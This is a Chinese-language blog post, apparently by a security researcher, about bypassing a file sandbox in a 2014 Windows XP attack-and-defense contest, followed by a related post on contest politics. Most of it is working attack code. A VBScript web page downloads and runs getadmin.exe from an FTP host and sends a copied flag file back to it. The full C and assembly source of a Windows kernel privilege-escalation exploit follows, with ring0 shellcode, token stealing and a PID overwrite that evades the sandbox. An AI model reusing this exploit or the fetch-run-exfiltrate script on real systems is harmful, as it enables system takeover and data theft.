跳至主要内容

如何轻松bypass文件沙箱


                                        如何轻松bypass文件沙箱
                                                             yuange

       14年xp挑战赛的时候,某公司防护由于有文件沙箱,外面也认为要破掉比较困难。在挑战前防护组的有人就到处挑衅,因为我知道其实要破这些很简单,就和老齐说了不要去挑事,事后你再怎么得瑟也行,某人才收敛了。

       以前大学时候经常玩破解,而破解就是一种比较强的对抗,很多对抗措施,加密系统就经常hook系统,拦截一些底层的调用,还经常检测对抗解密措施。常规的破解办法就是找到分析hook的地方,找到系统更底层的调用入口,然后去调用饶过,两者就是玩逆向玩拼对系统的了解程度。一般对抗的时候,还加入了调试对抗,所以常规手段要短时间去分析饶过这文件沙箱还是确实有一定的难度。

       因为对这些对抗很熟悉,我没有分析某沙箱,其实很简单的就能够想到这些沙箱原理,保存沙箱进程的标识,hook一些关键调用,hook里检测是在沙箱进程然后就做安全检测,通过就放行没通过就拒绝。以我二十来年前的总结“安全是一个条件语句”,很简单的想到这个沙箱进程的标识一般会是PID,所以当时就给防护组发了邮件,说了修改PID过沙箱的办法,防护组很快回邮件说修补好了,真的没想到我们各种建议各种防护措施提供各种利用给防护组,防护组纯粹就是欺骗领导。


       DVE里的上传提权过文件沙箱再拷贝FLAG文件FTP传回来的脚本,别的情况下很复杂的,DVE的思路下都是几句脚本就实现。

     

       <!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >

<head>
</head>
<body>

<SCRIPT LANGUAGE="VBScript">
On Error Resume Next
download()
setTimeout "window.close()",5000
setTimeout "getadmin()",1000
setTimeout "ftp()",2000

function download()
On Error Resume Next
Set oShell = CreateObject("Shell.Application")
copyType = 8
FTPUser = "ftp"
FTPPass = ""
FTPHost = "192.168.137.1"
FTPDir = "/"

strFTP = "ftp://" & FTPUser & ":" & FTPPass & "@" & FTPHost & FTPDir
exefile=strFTP&"getadmin.exe"
file="C:\DOCUME~1\XPERAN~1\LOCALS~1\Temp"
Set objEXE = oShell.NameSpace(file)
objEXE.CopyHere  exefile , copyType

end function

function getadmin()
On Error Resume Next
set Shell = CreateObject("Shell.Application")
Shell.ShellExecute "C:\DOCUME~1\XPERAN~1\LOCALS~1\Temp\getadmin.exe","-v"
end function

function ftp()
On Error Resume Next
Set oShell = CreateObject("Shell.Application")
copyType = 8
FTPUser = "ftp"
FTPPass = ""
FTPHost = "192.168.137.1"
FTPDir = "/"

strFTP = "ftp://" & FTPUser & ":" & FTPPass & "@" & FTPHost & FTPDir
Set objFTP = oShell.NameSpace(strFTP)
objFTP.CopyHere "C:\Documents and Settings\xperangelab\Local Settings\Temp\test1.exe", copyType
end function
</script>

</body>
</html>


       基本上都不用解释,一看就能明白。getadmin.exe原代码也是发给防护组了,让防护这个漏洞以及这些方法,防护组说修补了。结果我自己测试,不带参数不成功了,但是带系统默认的-v参数照常成功。后面解释-v参数意义。我在这个代码的shellcode里面就按照给他们说的修改PID过沙箱的办法,加了一句修改PID的汇编代码,利用代码在提供给他们的代码基础上简单加了点拷贝FLAG文件和恢复现场的代码等。

       
   getadmin.c 因为保留了一些调试时测试的中间过程代码,稍微有点乱。
/*    这提权代码也非常经典的      */


/*
     getadmin.c  ver1.0     
     copy by yuange <yuange1975@139.com>  2009.1.4
*/   


#include <windows.h> 
//#pragma  comment(lib,"ntdll")

#define  BUFFSIZE  0x1000

    unsigned int  pid              = 0;
    unsigned int  topid            = 4;
    unsigned char *name            = NULL;
    unsigned char *toname          = "System";
    unsigned int  idtaddress       =0;
unsigned int  vmware           =0;
unsigned int  thispid          = 0;
    unsigned int  adminok          = 0;
    unsigned int  tokenadd         = 0;
    unsigned int  token          = 0;




unsigned int  pidadd          = 0;


void     getvar(int argc, char **argv);

void resetpid()

{
_asm{

         jmp begin
reset:
   
     mov [esi-4],edx
   mov dword ptr [esi+edi],ecx
     iretd

begin:     mov eax,0xffdf0100
lea ebx,reset

mov esi,pidadd
mov edi,tokenadd
mov ecx,token
mov edx,thispid

int  0x21
}
}


void bypass()
{

// Sleep(1000);
CopyFile("C:\\Documents and Settings\\xperangelab\\My Documents\\abc.doc","C:\\DOCUME~1\\XPERAN~1\\LOCALS~1\\Temp\\test1.exe",TRUE);
//"ftp:\\\\ftp@192.168.137.1\\abc.exe",TRUE);
//   Sleep(1000);

// printf("\r\ncopy file ok!\r\n");

  resetpid();

//  Sleep(10000);
}



    void admin( int intadd)
{
      
       int  data;
 
  _asm{
         mov eax,0x7ffe0100
     mov eax,[eax]
mov data,eax
  }

      if(data==0xffdf0100)
  {
          printf("\nThe idt gate already ok!!\n");  
  __try{
_asm{
            
mov eax,0xffdf0100
mov ebx,intadd
mov ecx,pid
mov edx,topid
mov esi,thispid 
int  0x21
mov  adminok,eax
mov pidadd,esi
mov tokenadd,ebx
mov token,ecx

}

  bypass();
if(adminok==0x55aaefef) printf("\r\nget admin ok!!\r\n"); 
else printf("\r\nget admin error!!\r\n");
}
        __except(1){
   printf("\r\nget admin idt error!\r\n");
   exit(1);
}
  

exit(1);

  }

}


int main(int argc, char **argv)
  
  HWND    hwnd;
  HDC     hdc;

 
  char    buff1[BUFFSIZE];
  char    buff2[BUFFSIZE];
  char    idtadd[0x06];
  char    ring0shellcode[]="\xb8\x00\x01\xdf\xff\x89\x00\xcf";
  
//  char    ring0shellcode[]="\x89\x03\xcf\xb8\x00\x01\xdf\xff\x89\x00\xcf";

  //  mov eax,0xffdf0100
  //  mov [eax],eax      
  //  iretd
  //  0xffdf0100内核可写,映射到0x7ffe0100只读,全局所有进程空间


  char    ring0shellcode2[]="\x3d\x00\x01\xdf\xff\x74\x01\xcf\x89\x00\xff\xe3\x90";

  //  cmp eax,0xffdf0100
  //  jz $+3
  //  iretd
  //  mov [eax],eax      
  //  jmp ebx
  //  nop
  //  0xffdf0100内核可写,映射到0x7ffe0100只读,全局所有进程空间


  unsigned int i;
  int j,pageadd,intfeadd;


    thispid=GetCurrentProcessId();
pid=thispid;

   
  getvar(argc, argv);   
  SetThreadAffinityMask(GetCurrentThread(),0x1);


 
      
  
       i=0x100000;  
       i=VirtualAlloc(i,BUFFSIZE,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
   if(i!=0x100000)
   {
   printf("memory error!\r\n");
   exit(1);
   }
   j=VirtualLock(i,BUFFSIZE);
       printf("\r\nmemaddress=0x%.4x\r\n",i);
  
 
  i+=0x0000ffff;
  i&=0xffff0000;
   
  memset(i,0xcf,BUFFSIZE);
  memcpy(i,ring0shellcode2,sizeof(ring0shellcode2)-1);


  VirtualProtect(i,BUFFSIZE,PAGE_EXECUTE_READWRITE,&j);
  
   hdc = GetDC(NULL);  
      SetTextCharacterExtra(hdc,i+0xee00); 
    //  i=SetThreadAffinityMask(GetCurrentThread(),0x1);
      ExtTextOut(hdc,6000,4000,0x2000,&buff1," ",1,buff2);

  
  _asm{
   lea ebx,intfe
   mov i,ebx
   
  }  
  admin(i);

  if(idtaddress==0)
  {
    if(vmware==0)
{
       
     _asm
{
  
       lea ebx,idtadd
//  sgdt fword ptr [ebx]
    
       sidt fword ptr [ebx]

   mov  ebx,dword ptr[ebx+2]
   mov idtaddress,ebx
}
}
else
{
idtaddress=0x8003f400;
}
  }

     if((idtaddress<0x80000000)|(idtaddress>0xf0000000))
{
       printf("\r\nvm! idt=0x%.4x\r\n",idtaddress);
   exit(1);
}
 
     


     _asm
{
   mov eax,0x18;
   mov eax,fs:[eax]
   add eax,0x1dc
   xor ecx,ecx
   mov cx,word ptr [eax]
   sub ecx,0x10

   mov [eax],0x40

   mov ebx,idtaddress    
  
   add  ebx,0x10c            // int 0x21  0x10c=0x21*8+0x4

       mov j,ebx   
//      mov ebx,0xffdf0100
    
      
      
       add eax,ecx
   sub ebx,eax
// sub ebx,0x50

   mov [eax-0x14],ebx

  
    
    mov eax,0x1001
   int 0x2e  


}
 

  SetTextCharacterExtra(hdc,1); 


        __try{
_asm{




mov eax,0xffdf0100
            lea ebx,intfe
            mov ecx,pid
mov edx,topid
mov esi,thispid
int  0x21
mov  adminok,eax
mov pidadd,esi
mov tokenadd,ebx
mov token,ecx

}

  bypass();

if(adminok==0x55aaefef) printf("\r\nget admin ok!!\r\n"); 
else printf("\r\nget admin error!!\r\n");
//printf("\nThe idt gate ok!!\n"); 
}
        __except(1){
   printf("\r\nerror! idt=0x%.4x\r\n",idtaddress);
   exit(1);
}
  
   
//      Sleep(1000);
exit(1);



  
  _asm{



intfe:   
  cmp eax,0xffdf0100
  jnz nexteax
  mov eax,0x55aaefef
  jmp getadmin
retadd:   iretd
nexteax:  cmp eax,0xfefe1234
  jnz retadd
  jmp ebx

getadmin:
// 
  
  
//   iretd
  push fs
  push 0x30
  pop  fs
          mov ebx,dword ptr fs:[0x124]
          mov edi,dword ptr [ebx+0x44]
  cmp edi,0
  jnz ediok
  
          mov edi,dword ptr [ebx+0x38]
ediok:     
  mov ebx,edi
  mov edi,0x80
addedi:   add edi,4
  cmp edi,0x100
  jz  error
      cmp [ebx+edi-4],esi
          jnz  addedi

//  mov [ebx+edi-4],4


  lea  ebx,[ebx+edi]
  mov  eax,ebx
      
  xor esi,esi
  mov edi,esi

cmpecx:   cmp [ebx-4],ecx
  jnz cmpedx

 
  mov esi,ebx
  
cmpedx:   cmp [ebx-4],edx
          jnz testok
  mov edi,ebx
  
testok: 
  cmp esi,0
  jz  nextproc
  cmp edi,0
  jz  nextproc
          
  mov ebx,0x40
  mov eax,[edi+ebx]

  mov ecx,[esi+ebx]

          mov [esi+ebx],eax
  
          mov dword ptr [esi-4],4//0   //PID=0 过文件沙箱

  mov  eax,0x55aaefef
  jmp ok
nextproc: mov  ebx,[ebx]
  cmp  eax,ebx
  jnz  cmpecx
ok:      
error:   pop  fs
          iretd




/*  win2000
  push fs
  push 0x30
  pop  fs
          mov esi,dword ptr fs:[0x124]
          mov esi,dword ptr [esi+0x44]
  lea ebx,dword ptr [esi+0xa0]
  mov ecx,0x100
getsystemtoken:
  lea edi,dword ptr [ebx+0x15c]
          cmp dword ptr[edi],'tsyS'   // System
  jnz nextsearchIdle
  cmp dword ptr[edi+4],'me'   //
  jz  searchprocess
nextsearchIdle:
  mov ebx,dword ptr [ebx]
  loop getsystemtoken
  pop  fs
          iretd
searchprocess:
  mov edi,dword ptr [ebx+0x8c]
  mov ecx,0x100
nextprocess:
  lea esi,dword ptr [ebx+0x15c]
          cmp dword ptr [esi],'.DMC'  // CMD.EXE
  jz  setsystemtoken
  cmp dword ptr [esi],'.dmc'  // cmd.exe
  jnz nextpcb       
setsystemtoken:
          mov dword ptr [ebx+0x8c],edi
nextpcb:  mov ebx,dword ptr [ebx]
  loop nextprocess
          pop  fs
          iretd   

  */
/* winxp

  push fs
  push 0x30
  pop  fs
          mov esi,dword ptr fs:[0x124]
          mov esi,dword ptr [esi+0x44]
  lea ebx,dword ptr [esi+0x88]
  mov ecx,0x100
getsystemtoken:
  lea edi,dword ptr [ebx+0xec]
          cmp dword ptr[edi],'tsyS'   // System
  jnz nextsearchIdle
  cmp dword ptr[edi+4],'me'   //
  jz  searchprocess
nextsearchIdle:
  mov ebx,dword ptr [ebx]
  loop getsystemtoken
  pop  fs
          iretd
searchprocess:
  mov edi,dword ptr [ebx+0x40]
  mov ecx,0x100
nextprocess:
  lea esi,dword ptr [ebx+0xec]
          cmp dword ptr [esi],'.DMC'  // CMD.EXE
  jz  setsystemtoken
  cmp dword ptr [esi],'.dmc'  // cmd.exe
  jnz nextpcb       
setsystemtoken:
          mov dword ptr [ebx+0x40],edi
nextpcb:  mov ebx,dword ptr [ebx]
  loop nextprocess
          pop  fs
          iretd

  


/*  win2003

  push fs
  push 0x30
  pop  fs
          mov esi,dword ptr fs:[0x124]
          mov esi,dword ptr [esi+0x38]
  lea ebx,dword ptr [esi+0x98]
  mov ecx,0x100
getsystemtoken:
  lea edi,dword ptr [ebx+0xcc]
          cmp dword ptr[edi],'tsyS'   // System
  jnz nextsearchIdle
  cmp dword ptr[edi+4],'me'   //
  jz  searchprocess
nextsearchIdle:
  mov ebx,dword ptr [ebx]
  loop getsystemtoken
  pop  fs
          iretd
searchprocess:
  mov edi,dword ptr [ebx+0x40]
  mov ecx,0x100
nextprocess:
  lea esi,dword ptr [ebx+0xcc]
          cmp dword ptr [esi],'.DMC'  // CMD.EXE
  jz  setsystemtoken
  cmp dword ptr [esi],'.dmc'  // cmd.exe
  jnz nextpcb       
setsystemtoken:
          mov dword ptr [ebx+0x40],edi
nextpcb:  mov ebx,dword ptr [ebx]
  loop nextprocess
          pop  fs
          iretd
*/
  }
  
}


 


void usage ( char *arg )
{
    printf("\r\nUsage: %s [-h] [-p pid] [-n name] [-t token to pid] [-m token to name] [-i idtadress] [-v]",arg );
    exit( EXIT_FAILURE );
}  /* end of usage */


void  getvar(int argc, char **argv)
{
unsigned int i;
for ( i = 1; i < argc; i++ )
    {
        /*
         * 同时支持-和/两种引入命令行参数的方式
         */
        if ( ( argv[i][0] == '-' ) || ( argv[i][0] == '/' ) )
        {
            /*
             * 在这个字节上,大小写不敏感
             */
            switch ( tolower( argv[i][1] ) )
            {
            case 'n':
                /*
                 * 需要提权的进程名
                 */
                if(i<argc-1) name = argv[++i];
                break;

            case 'p':
                /*
                 * 需要提权的进程pid
                 */
                if(i<argc-1) pid = atoi(argv[++i]);
                break;
            case 't':
                /*
                 * 提权到的进程pid
                 */
                if(i<argc-1) topid   = atoi(argv[++i]);
                break;
            case 'm':
                /*
                 * 提权到的进程名
                 */
                if(i<argc-1) toname          = argv[++i];
                break;
            case 'i':
                /*
                 * idt address
                 */
                if(i<argc-1) idtaddress=strtoul(argv[++i],NULL,0);
//(  ( RtlCharToInteger(argv[++i],10,&idtaddress);
printf("0x%.8x",idtaddress);
                break;

case 'v':
                /*
                 * 提权到的进程名
                 */
                vmware=1;
                break;
case 'h':
            case '?':
            default:
                usage( argv[0] );
            }  /* end of switch */
        }
        else
        {
            usage( argv[0] );
        }
    }  /* end of for */


 }








//***********************************************************************************




      

       可以看出来-v是本来就有的在虚拟机条件下的利用参数,就是虚拟机本身修改了idt,获得的idt不准确,如果是虚拟机就用了系统的idt地址硬编码。提供给防护组的代码里就有的,因为本来是默认就能成功的,所以这个参数我就没说。然后他们修补了情况下,执行时带上-v参数就真香了。
      shellcode就加了一句“ mov dword ptr [esi-4],4//0   //PID=0 过文件沙箱”就成功破掉文件沙箱,我都没有分析没有逆向他们的沙箱。
      

void bypass()
{

// Sleep(1000);
CopyFile("C:\\Documents and Settings\\xperangelab\\My Documents\\abc.doc","C:\\DOCUME~1\\XPERAN~1\\LOCALS~1\\Temp\\test1.exe",TRUE);
//"ftp:\\\\ftp@192.168.137.1\\abc.exe",TRUE);
//   Sleep(1000);

// printf("\r\ncopy file ok!\r\n");

  resetpid();

//  Sleep(10000);
}

       bypass这就是把flag文件拷贝成exe文件,然后dve里脚本去上传用的。因为PID被修改了,CopyFile调用的系统hook里检测,发现当前PID(已经被修改)不在保存的沙箱进程列表里面,正常放行。


       整个破解在原有的东西基础上,没有分析这个保护系统,只是根据想像,还用不了半个小时搞定,就是这么简单。
 






评论

  1. 感谢您的文章,如果代码能用代码格式框起来或者放成文件就更好了。请问这个提权的代码是针对xp及其以前的吗?原理是怎样的呢?

    回复删除

发表评论

此博客中的热门博文

xp挑战赛那些事情

xp挑战赛那些事情


        国内互联网公司安全线发展,不得不说两件事,一是3Q大战,另一件就是XP挑战赛。

        当年老齐主导XP挑战赛干得很漂亮,为后面的进军政府、企业安全立下汗马功劳。

        当时老齐安排我负责协调带领攻、防小组,攻击小组轻松拿下所有防护产品(包含xxx的防护产品。后面几轮的不算,后面几轮已经是流氓防护了,基本上大家产品都不能正常工作了)。既然负责带领攻防,如果攻下别人自己也被拿下肯定也不好看,为了公司利益,也给了防护组很多建议。hume建议任何建议都要通过邮件,以备事后查询,最后果然遇到比较奇葩的事情,我们给的任何防护建议防护小组马上都说修补了,但事后发现根本不是那么一回事情。事后发现提到的可写可执行区域问题补丁根本没有修补上,提供的自己独家一个内核提权漏洞EXP源码,虽然直接执行不能成功了,但是只要加一个本来就带的参数就能成功。提到的改PID为0的过沙箱办法根本没有防护,把没有公布的独有的价值上百万美金的DVE提供了,还有后来的微软防护的延迟释放思路提供了。就这样,遇到领导问防护做得怎么样,奇葩为了表功说攻击组都攻击不下来,我的认识是表功没问题但不要踩着别人表功,我说要不我们内部拿100万来做奖金试试,老齐打圆场说可以100万日元做奖金,最后就这样算了。
        第一轮事后,发现在领导面前打包票的很多东西根本没有修补,我在微博提了那个可写可执行问题引起原因的微软的一个开源项目名称,然后很快就删除了。奇葩就打小报告了,奇葩最后还发微博,没有任何人帮助完成了防护任务,当时也算是寒了很多其他同事的心。
我的DVE代码和我提供给他们的内核EXP源码里加一句修改PID=0的汇编代码,就轻松过沙箱拿到flag文件。基本上就现成的,几分钟修改后就搞定。
       本来已经打算长期干下去的了,此事情发生后坚决离开,半年后就能拿到一笔不错的股票了也无所谓了,就为了远离奇葩。当时没说离开原因,但是老谭等应该都知道是怎么回事情。

        XP挑战赛也促成了几大互联网公司的安全实验室大发展,很多圈子里的人也因此受益。